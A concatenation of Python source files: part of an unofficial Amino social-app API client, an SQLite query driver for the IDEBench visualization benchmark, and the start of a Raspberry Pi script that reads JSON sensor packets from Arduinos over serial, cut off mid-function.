json.dumps(data) response = self.session.post(f"{self.api}/x{comId}/s/community/join", data=data, headers=self.parse_headers(data=data), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def request_join_community(self, comId: str, message: str = None): """ Request to join a Community. **Parameters** - **comId** : ID of the Community. - **message** : Message to be sent. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({"message": message, "timestamp": int(timestamp() * 1000)}) response = self.session.post(f"{self.api}/x{comId}/s/community/membership-request", data=data, headers=self.parse_headers(data=data), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def leave_community(self, comId: str): """ Leave a Community. **Parameters** - **comId** : ID of the Community. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.post(f"{self.api}/x{comId}/s/community/leave", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def flag_community(self, comId: str, reason: str, flagType: int, isGuest: bool = False): """ Flag a Community. **Parameters** - **comId** : ID of the Community. - **reason** : Reason of the Flag. - **flagType** : Type of Flag. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if reason is None: raise exceptions.ReasonNeeded if flagType is None: raise exceptions.FlagTypeNeeded data = json.dumps({ "objectId": comId, "objectType": 16, "flagType": flagType, "message": reason, "timestamp": int(timestamp() * 1000) }) if isGuest: flg = "g-flag" else: flg = "flag" response = self.session.post(f"{self.api}/x{comId}/s/{flg}", data=data, headers=self.parse_headers(data=data), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def edit_profile(self, nickname: str = None, content: str = None, icon: BinaryIO = None, backgroundColor: str = None, backgroundImage: str = None, defaultBubbleId: str = None): """ Edit account's Profile. **Parameters** - **nickname** : Nickname of the Profile. - **content** : Biography of the Profile. - **icon** : Icon of the Profile. - **backgroundImage** : Url of the Background Picture of the Profile. - **backgroundColor** : Hexadecimal Background Color of the Profile. - **defaultBubbleId** : Chat bubble ID. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = { "address": None, "latitude": 0, "longitude": 0, "mediaList": None, "eventSource": "UserProfileView", "timestamp": int(timestamp() * 1000) } if nickname: data["nickname"] = nickname if icon: data["icon"] = self.upload_media(icon, "image") if content: data["content"] = content if backgroundColor: data["extensions"] = {"style": {"backgroundColor": backgroundColor}} if backgroundImage: data["extensions"] = {"style": {"backgroundMediaList": [[100, backgroundImage, None, None, None]]}} if defaultBubbleId: data["extensions"] = {"defaultBubbleId": defaultBubbleId} data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/user-profile/{self.userId}", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def set_privacy_status(self, isAnonymous: bool = False, getNotifications: bool = False): """ Edit account's Privacy Status. **Parameters** - **isAnonymous** : If visibility should be Anonymous or not. - **getNotifications** : If account should get new Visitors Notifications. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = {"timestamp": int(timestamp() * 1000)} if not isAnonymous: data["privacyMode"] = 1 if isAnonymous: data["privacyMode"] = 2 if not getNotifications: data["notificationStatus"] = 2 if getNotifications: data["privacyMode"] = 1 data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/account/visit-settings", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def set_amino_id(self, aminoId: str): """ Edit account's Amino ID. **Parameters** - **aminoId** : Amino ID of the Account. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({"aminoId": aminoId, "timestamp": int(timestamp() * 1000)}) response = self.session.post(f"{self.api}/g/s/account/change-amino-id", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def get_linked_communities(self, userId: str): """ Get a List of Linked Communities of an User. **Parameters** - **userId** : ID of the User. **Returns** - **Success** : :meth:`Community List <amino.lib.util.objects.CommunityList>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/user-profile/{userId}/linked-community", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.CommunityList(json.loads(response.text)["linkedCommunityList"]).CommunityList def get_unlinked_communities(self, userId: str): """ Get a List of Unlinked Communities of an User. **Parameters** - **userId** : ID of the User. **Returns** - **Success** : :meth:`Community List <amino.lib.util.objects.CommunityList>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/user-profile/{userId}/linked-community", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.CommunityList(json.loads(response.text)["unlinkedCommunityList"]).CommunityList def reorder_linked_communities(self, comIds: list): """ Reorder List of Linked Communities. **Parameters** - **comIds** : IDS of the Communities. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({"ndcIds": comIds, "timestamp": int(timestamp() * 1000)}) response = self.session.post(f"{self.api}/g/s/user-profile/{self.userId}/linked-community/reorder", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def add_linked_community(self, comId: str): """ Add a Linked Community on your profile. **Parameters** - **comId** : ID of the Community. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.post(f"{self.api}/g/s/user-profile/{self.userId}/linked-community/{comId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def remove_linked_community(self, comId: str): """ Remove a Linked Community on your profile. **Parameters** - **comId** : ID of the Community. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.delete(f"{self.api}/g/s/user-profile/{self.userId}/linked-community/{comId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def comment(self, message: str, userId: str = None, blogId: str = None, wikiId: str = None, replyTo: str = None): """ Comment on a User's Wall, Blog or Wiki. **Parameters** - **message** : Message to be sent. - **userId** : ID of the User. (for Walls) - **blogId** : ID of the Blog. (for Blogs) - **wikiId** : ID of the Wiki. (for Wikis) - **replyTo** : ID of the Comment to Reply to. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if message is None: raise exceptions.MessageNeeded data = { "content": message, "stickerId": None, "type": 0, "timestamp": int(timestamp() * 1000) } if replyTo: data["respondTo"] = replyTo if userId: data["eventSource"] = "UserProfileView" data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/user-profile/{userId}/g-comment", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) elif blogId: data["eventSource"] = "PostDetailView" data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/blog/{blogId}/g-comment", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) elif wikiId: data["eventSource"] = "PostDetailView" data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/item/{wikiId}/g-comment", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) else: raise exceptions.SpecifyType if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def delete_comment(self, commentId: str, userId: str = None, blogId: str = None, wikiId: str = None): """ Delete a Comment on a User's Wall, Blog or Wiki. **Parameters** - **commentId** : ID of the Comment. - **userId** : ID of the User. (for Walls) - **blogId** : ID of the Blog. (for Blogs) - **wikiId** : ID of the Wiki. (for Wikis) **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if userId: response = self.session.delete(f"{self.api}/g/s/user-profile/{userId}/g-comment/{commentId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) elif blogId: response = self.session.delete(f"{self.api}/g/s/blog/{blogId}/g-comment/{commentId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) elif wikiId: response = self.session.delete(f"{self.api}/g/s/item/{wikiId}/g-comment/{commentId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) else: raise exceptions.SpecifyType if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def like_blog(self, blogId: Union[str, list] = None, wikiId: str = None): """ Like a Blog, Multiple Blogs or a Wiki. **Parameters** - **blogId** : ID of the Blog or List of IDs of the Blogs. (for Blogs) - **wikiId** : ID of the Wiki. (for Wikis) **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = { "value": 4, "timestamp": int(timestamp() * 1000) } if blogId: if isinstance(blogId, str): data["eventSource"] = "UserProfileView" data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/blog/{blogId}/g-vote?cv=1.2", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) elif isinstance(blogId, list): data["targetIdList"] = blogId data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/feed/g-vote", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) else: raise exceptions.WrongType(type(blogId)) elif wikiId: data["eventSource"] = "PostDetailView" data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/item/{wikiId}/g-vote?cv=1.2", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) else: raise exceptions.SpecifyType() if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def unlike_blog(self, blogId: str = None, wikiId: str = None): """ Remove a like from a Blog or Wiki. **Parameters** - **blogId** : ID of the Blog. (for Blogs) - **wikiId** : ID of the Wiki. (for Wikis) **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if blogId: response = self.session.delete(f"{self.api}/g/s/blog/{blogId}/g-vote?eventSource=UserProfileView", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) elif wikiId: response = self.session.delete(f"{self.api}/g/s/item/{wikiId}/g-vote?eventSource=PostDetailView", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) else: raise exceptions.SpecifyType if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def like_comment(self, commentId: str, userId: str = None, blogId: str = None, wikiId: str = None): """ Like a Comment on a User's Wall, Blog or Wiki. **Parameters** - **commentId** : ID of the Comment. - **userId** : ID of the User. (for Walls) - **blogId** : ID of the Blog. (for Blogs) - **wikiId** : ID of the Wiki. (for Wikis) **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = { "value": 4, "timestamp": int(timestamp() * 1000) } if userId: data["eventSource"] = "UserProfileView" data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/user-profile/{userId}/comment/{commentId}/g-vote?cv=1.2&value=1", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) elif blogId: data["eventSource"] = "PostDetailView" data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/blog/{blogId}/comment/{commentId}/g-vote?cv=1.2&value=1", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) elif wikiId: data["eventSource"] = "PostDetailView" data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/item/{wikiId}/comment/{commentId}/g-vote?cv=1.2&value=1", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) else: raise exceptions.SpecifyType if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def unlike_comment(self, commentId: str, userId: str = None, blogId: str = None, wikiId: str = None): """ Remove a like from a Comment on a User's Wall, Blog or Wiki. **Parameters** - **commentId** : ID of the Comment. - **userId** : ID of the User. (for Walls) - **blogId** : ID of the Blog. (for Blogs) - **wikiId** : ID of the Wiki. (for Wikis) **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if userId: response = self.session.delete(f"{self.api}/g/s/user-profile/{userId}/comment/{commentId}/g-vote?eventSource=UserProfileView", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) elif blogId: response = self.session.delete(f"{self.api}/g/s/blog/{blogId}/comment/{commentId}/g-vote?eventSource=PostDetailView", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) elif wikiId: response = self.session.delete(f"{self.api}/g/s/item/{wikiId}/comment/{commentId}/g-vote?eventSource=PostDetailView", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) else: raise exceptions.SpecifyType if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def get_membership_info(self): """ Get Information about your Amino+ Membership. **Parameters** - No parameters required. **Returns** - **Success** : :meth:`Membership Object <amino.lib.util.objects.Membership>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/membership?force=true", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.Membership(json.loads(response.text)).Membership def get_ta_announcements(self, language: str = "en", start: int = 0, size: int = 25): """ Get the list of Team Amino's Announcement Blogs. **Parameters** - **language** : Language of the Blogs. - ``en``, ``es``, ``pt``, ``ar``, ``ru``, ``fr``, ``de`` - *start* : Where to start the list. - *size* : Size of the list. **Returns** - **Success** : :meth:`Blogs List <amino.lib.util.objects.BlogList>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if language not in self.get_supported_languages(): raise exceptions.UnsupportedLanguage(language) response = self.session.get(f"{self.api}/g/s/announcement?language={language}&start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.BlogList(json.loads(response.text)["blogList"]).BlogList def get_wallet_info(self): """ Get Information about the account's Wallet. **Parameters** - No parameters required. **Returns** - **Success** : :meth:`Wallet Object <amino.lib.util.objects.WalletInfo>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/wallet", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.WalletInfo(json.loads(response.text)["wallet"]).WalletInfo def get_wallet_history(self, start: int = 0, size: int = 25): """ Get the Wallet's History Information. **Parameters** - *start* : Where to start the list. - *size* : Size of the list. **Returns** - **Success** : :meth:`Wallet Object <amino.lib.util.objects.WalletInfo>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/wallet/coin/history?start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.WalletHistory(json.loads(response.text)["coinHistoryList"]).WalletHistory def get_from_deviceid(self, deviceId: str): """ Get the User ID from an Device ID. **Parameters** - **deviceID** : ID of the Device. **Returns** - **Success** : :meth:`User ID <amino.lib.util.objects.UserProfile.userId>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/auid?deviceId={deviceId}") if response.status_code != 200: return exceptions.CheckException(response.text) else: return json.loads(response.text)["auid"] def get_from_code(self, code: str): """ Get the Object Information from the Amino URL Code. **Parameters** - **code** : Code from the Amino URL. - ``http://aminoapps.com/p/EXAMPLE``, the ``code`` is 'EXAMPLE'. **Returns** - **Success** : :meth:`From Code Object <amino.lib.util.objects.FromCode>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/link-resolution?q={code}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.FromCode(json.loads(response.text)["linkInfoV2"]).FromCode def get_from_id(self, objectId: str, objectType: int, comId: str = None): """ Get the Object Information from the Object ID and Type. **Parameters** - **objectID** : ID of the Object. User ID, Blog ID, etc. - **objectType** : Type of the Object. - *comId* : ID of the Community. Use if the Object is in a Community. **Returns** - **Success** : :meth:`From Code Object <amino.lib.util.objects.FromCode>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({ "objectId": objectId, "targetCode": 1, "objectType": objectType, "timestamp": int(timestamp() * 1000) }) if comId: response = self.session.post(f"{self.api}/g/s-x{comId}/link-resolution", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) else: response = self.session.post(f"{self.api}/g/s/link-resolution", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.FromCode(json.loads(response.text)["linkInfoV2"]).FromCode def get_supported_languages(self): """ Get the List of Supported Languages by Amino. **Parameters** - No parameters required. **Returns** - **Success** : :meth:`List of Supported Languages <List>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/community-collection/supported-languages?start=0&size=100", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return json.loads(response.text)["supportedLanguages"] def claim_new_user_coupon(self): """ Claim the New User Coupon available when a new account is created. **Parameters** - No parameters required. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.post(f"{self.api}/g/s/coupon/new-user-coupon/claim", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def get_subscriptions(self, start: int = 0, size: int = 25): """ Get Information about the account's Subscriptions. **Parameters** - *start* : Where to start the list. - *size* : Size of the list. **Returns** - **Success** : :meth:`List <List>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/store/subscription?objectType=122&start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return json.loads(response.text)["storeSubscriptionItemList"] def get_all_users(self, start: int = 0, size: int = 25): """ Get list of users of Amino. **Parameters** - *start* : Where to start the list. - *size* : Size of the list. **Returns** - **Success** : :meth:`User Profile Count List Object <amino.lib.util.objects.UserProfileCountList>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/user-profile?type=recent&start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.UserProfileCountList(json.loads(response.text)).UserProfileCountList def accept_host(self, chatId: str, requestId: str): data = json.dumps({}) response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/transfer-organizer/{requestId}/accept", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def accept_organizer(self, chatId: str, requestId: str): self.accept_host(chatId, requestId) # Contributed by 'https://github.com/LynxN1' def link_identify(self, code: str): response = self.session.get(f"{self.api}/g/s/community/link-identify?q=http%3A%2F%2Faminoapps.com%2Finvite%2F{code}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) return json.loads(response.text) def invite_to_vc(self, chatId: str, userId: str): """ Invite a User to a Voice Chat **Parameters** - **chatId** - ID of the Chat - **userId** - ID of the User **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({ "uid": userId }) response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/vvchat-presenter/invite", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def wallet_config(self, level: int): """ Changes ads config **Parameters** - **level** - Level of the ads. - ``1``, ``2`` **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({ "adsLevel": level, "timestamp": int(timestamp() * 1000) }) response = self.session.post(f"{self.api}/g/s/wallet/ads/config", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def purchase(self, objectId: str, isAutoRenew: bool = False): data = json.dumps({ "objectId": objectId, "objectType": 114, "v": 1, "paymentContext": { "discountStatus": 0, "isAutoRenew": isAutoRenew }, "timestamp": timestamp() }) response = self.session.post(f"{self.api}/g/s/store/purchase", headers=self.parse_headers(data=data), data=data) if response.status_code != 200: return exceptions.CheckException(json.loads(response.text())) else: return response.status_code def get_public_communities(self, language: str = "en", size: int = 25): """ Get public communites **Parameters** - **language** - Set up language **Returns** - **Success** : :meth:`Community List <amino.lib.util.objects.CommunityList>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = requests.get(f"{self.api}/g/s/topic/0/feed/community?language={language}&type=web-explore&categoryKey=recommendation&size={size}&pagingType=t", headers=self.parse_headers()) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.CommunityList(json.loads(response.text)["communityList"]).CommunityList
sqlite.py
import os import json import sqlite3 import datetime, time import itertools from common import util import queue import threading from threading import Thread import logging import sqlite3 import datetime, time import itertools from common import util class IDEBenchDriver: def init(self, options, schema, driver_arg): self.time_of_latest_request = 0 self.isRunning = False self.requests = queue.LifoQueue() self.config = json.load(open(os.path.join(os.path.dirname(__file__),'..','sqlite.config.json'))) def create_connection(self): sqlite_file = self.config['dbFilename'] conn = sqlite3.connect(sqlite_file) return conn def sqlitefix(self, sql_statement): if not "FLOOR" in sql_statement: return sql_statement else: sql_statement=sql_statement.replace("FLOOR", "ROUND") x=sql_statement.find("ROUND") y=sql_statement.find(")",x) output=sql_statement[:y]+" -0.5 "+sql_statement[y:] #print(output,flush=True) return output def execute_vizrequest(self, viz_request, options, schema, result_queue): viz = viz_request.viz sql_statement = viz.get_computed_filter_as_sql(schema) #calculate connection time connection = self.conn cursor = connection.cursor() viz_request.start_time = util.get_current_ms_time() #print(sql_statement,flush=True,end = '') cursor.execute(self.sqlitefix(sql_statement)) data = cursor.fetchall() viz_request.end_time = util.get_current_ms_time() cursor.close() results = {} for row in data: keys = [] for i, bin_desc in enumerate(viz.binning): if "width" in bin_desc: bin_width = bin_desc["width"] keys.append(str(int(row[i]))) else: keys.append(str(row[i])) key = ",".join(keys) results[key] = row[len(viz.binning):] viz_request.result = results result_queue.put(viz_request) def process_request(self, viz_request, options, schema, result_queue): self.requests.put((viz_request, options, schema, result_queue)) def process(self): self.conn = self.create_connection() while self.isRunning: try: request = self.requests.get(timeout=1) viz_request = request[0] options = request[1] schema = request[2] result_queue = request[3] # only execute requests that are newer than the last one we processed (drops old/no longer needed queries) if viz_request.expected_start_time < self.time_of_latest_request: viz_request.dropped = True result_queue.put(viz_request) continue self.time_of_latest_request = viz_request.expected_start_time self.execute_vizrequest(viz_request, options, schema, result_queue) except Exception as e: # ignore queue-empty exceptions pass # close connection when done self.conn.close() def workflow_start(self): self.isRunning = True thread = Thread(target = self.process) thread.start() def workflow_end(self): self.isRunning = False
arduinoToPi.py
try: import serial except: print(""" To install pyserial: sudo apt-get install python3-pip sudo pip3 install pyserial This program will now hang until force-quit, to ensure you see this message. """) while True: pass import signal import datetime import fcntl import re import traceback import subprocess import os import json from threading import Thread from queue import Queue import sys import array # global keep-alive mainThreadAlive = False # The database_main uses this to reserve an arduino's I/O. # If it's None, then there is no reservation. # # If it's (name, None), then the arduino with id_string() == name should be reserved, but # the worker thread may not have finished. # # If it's (name, usb_port), then the arduino with id_string() == name is now reserved, and # usb_port is the associated port. reserved_arduino = None # Array of ArduinoWorkers. This is global because it's used by the database_main thread to # figure out what arduinos are currently plugged in. workers = [] # Ensure that we're running python3. if sys.version_info[0] < 3: raise Exception("Must run the pi server using python3. Check that you used the 'python3' command.") # Use a signal handler to catch Ctrl+C instead of a KeyboardInterrupt exception. def ctrl_c_handler(signal, frame): print("FORCE Shutting down...") os._exit(0) signal.signal(signal.SIGINT, ctrl_c_handler) # One copy of this thread is spawned to look for new USB devices. # master_queue is a thread-safe queue of SensorReading objects. def arduino_main(master_queue): assert(isinstance(master_queue, Queue)) global mainThreadAlive #reset_all_usb_ports() # Array of ArduinoWorkers global workers global reserved_arduino # Used for the no-workers message. last_no_worker_warning = datetime.datetime.now() no_worker_warning_interval = datetime.timedelta(seconds=5) while True: try: mainThreadAlive = True # Check that all the arduino threads are ok. dead_workers = [] for worker in workers: if not worker.getThread().is_alive(): # TODO: Error handling. print("Joining worker: %s", worker.getId()) worker.getThread().join() dead_workers.append(worker) for worker in dead_workers: workers.remove(worker) # Check if any new devices have been plugged in. open_ports = [] for port in get_all_usb_ports(): if port.hasDevice(): conflict = False for worker in workers: if port.getId() == worker.getId(): conflict = True break # If this port is reserved, skip it. # Note: If there is no worker thread, and the Port field of the reserved_arduino # tuple is None, then we still need to spawn a thread, so that it can give its # port to the code_download_main thread. if reserved_arduino and port.getId() == reserved_arduino[0] and reserved_arduino[1]: conflict = True if not conflict: # No conflicts open_ports.append(port) # Check if any of the open ports are arduinos. # TODO: Currently, this assumes all tty's returned by get_all_usb_ports() are # arduinos. arduino_ports = open_ports #arduino_ports = [] #for port in open_ports: # # TODO: Make this less hacky. # if "Arduino" in port.getName(): # arduino_ports.append(port) # Make new threads. for port in arduino_ports: print("Connecting to port: %s", port.getId()) arduino_id = port.getId() thread = Thread(target=arduino_thread, args=(master_queue, port)) worker = ArduinoWorker(arduino_id, thread) workers.append(worker) thread.start() print("Worker started: %s", worker.getId()) # Check if there are no connected devices. if len(workers) == 0 and datetime.datetime.now() - last_no_worker_warning > no_worker_warning_interval: print("Warning: no devices detected.") last_no_worker_warning = datetime.datetime.now() except (KeyboardInterrupt, SystemExit): print("KeyboardInterrupt or SystemExit; cleaning up..."); mainThreadAlive = False for worker in workers: print("Waiting for worker %s..." % worker.getId()) worker.getThread().join() workers = [] print("done") return except Exception as e: print(e) def get_open_ports(): open_ports = [] for port in get_all_usb_ports(): if port.hasDevice(): open_ports.append(port) return open_ports # This thread is spawned for each connected arduino. def arduino_thread(master_queue, port): assert(isinstance(master_queue, Queue)) assert(isinstance(port, UsbPort)) # We need to discard the first line. HOWEVER, the very first thing we do MUST # be to check if the port is reserved. Only arduino_threads can reserve ports; # if a port is reserved in the middle of a read, then it will raise an exception, # kill this thread, and then arduino_main thread will spin up a new copy. has_read_first_line = False global mainThreadAlive global reserved_arduino try: while (mainThreadAlive): # Check if someone is trying to reserve this port. if reserved_arduino: print("Thread: ReservedArduino[0] = " + str(reserved_arduino[0]) + ", id=" + port.getId()) if reserved_arduino[0] == port.getId(): # Give our port object to the code_download_main thread. reserved_arduino = (reserved_arduino[0], port) # Exit. print("Thread %s: Reserving." % port.getId()) return # Check if we've gotten rid of the first line of junk. if not has_read_first_line: has_read_first_line = True # Read one line of input, and then discard it. Either it's the start of the program, # and the buffer cuts off the first few chars the arduino sends; OR another thread # before this one threw an exception partway through reading, and the next reading # is junk. try: read_packet(port) except: pass # Get sensor data from the arduino. json = read_packet(port) # Get the current time as a UNIX timestamp. # TODO: Get the timestamp before parsing the json? time = datetime.datetime.now() # Send it to the queue. queue_entry = SensorReading(time, json, port.getId()) master_queue.put(queue_entry) print("Thread %s: mainThreadAlive is %s; closing" % (port.getId(), str(mainThreadAlive))) return except: # TODO: Error handling. # Currently, if there's an error, the thread ends. print(traceback.format_exc()) return # Read one packet from the arduino, parse it, and return it. # TODO: Document why we need hardware_id! (see: read_line()) def read_packet(arduino): assert(isinstance(arduino, UsbPort)) text = read_json(arduino) packet = parse_packet(text) return packet # This method will get as many lines as necessary to find a full JSON object, and return # it as a string. def read_json(arduino): assert(isinstance(arduino, UsbPort)) hardware_id = arduino.getId() # Note that the time out is set to 5 seconds. This is to ensure that we don't block forever # trying to read from an arduino that doesn't output anything. with serial.Serial(arduino.getPath(), 115200, timeout=1) as conn: packet = "" line = "" # Read lines until the start of a packet is found. # TODO: If this infinite loops, the thread never checks to see if it should quit. while ('{' not in line): line = read_line(conn, hardware_id) # Chop off any text before the packet starts. startIndex = line.find('{') line = line[startIndex:] # Read lines until the end of the packet is found # (May be the same line as the start) # TODO: Technically, it's possible for a } character to appear within a JSON object in # two ways: inside a string, and as part of a nested object. Nested objects are not allowed. # But it could be inside a string, which isn't allowed for the moment, but should be allowed # in the future. # TODO: If this infinite loops, the thread never checks to see if it should quit. while ('}' not in line): packet += " " + line line = read_line(conn, hardware_id) # Chop off any text after the packet ends. endIndex = line.find('}') + 1 packet += line[:endIndex] print("raw packet: '%s'" % line) return packet # TODO: Error checking def parse_packet(packet_text): assert(isinstance(packet_text, str)) return json.loads(packet_text) def read_line(arduino, hardware_id): """arduino is the serial I/O object with the arduino. This method returns a line read from the arduino.""" # Get the next line of input from the arduino. It's in the form of a # binary string, with /r/n characters at the end. This is a blocking # read. # # If the volume of serial I/O for a particular port is large, sometimes readline will return # just "/n" or "". I don't know why. global reserved_arduino data = "" while data == "" or data[-1] != 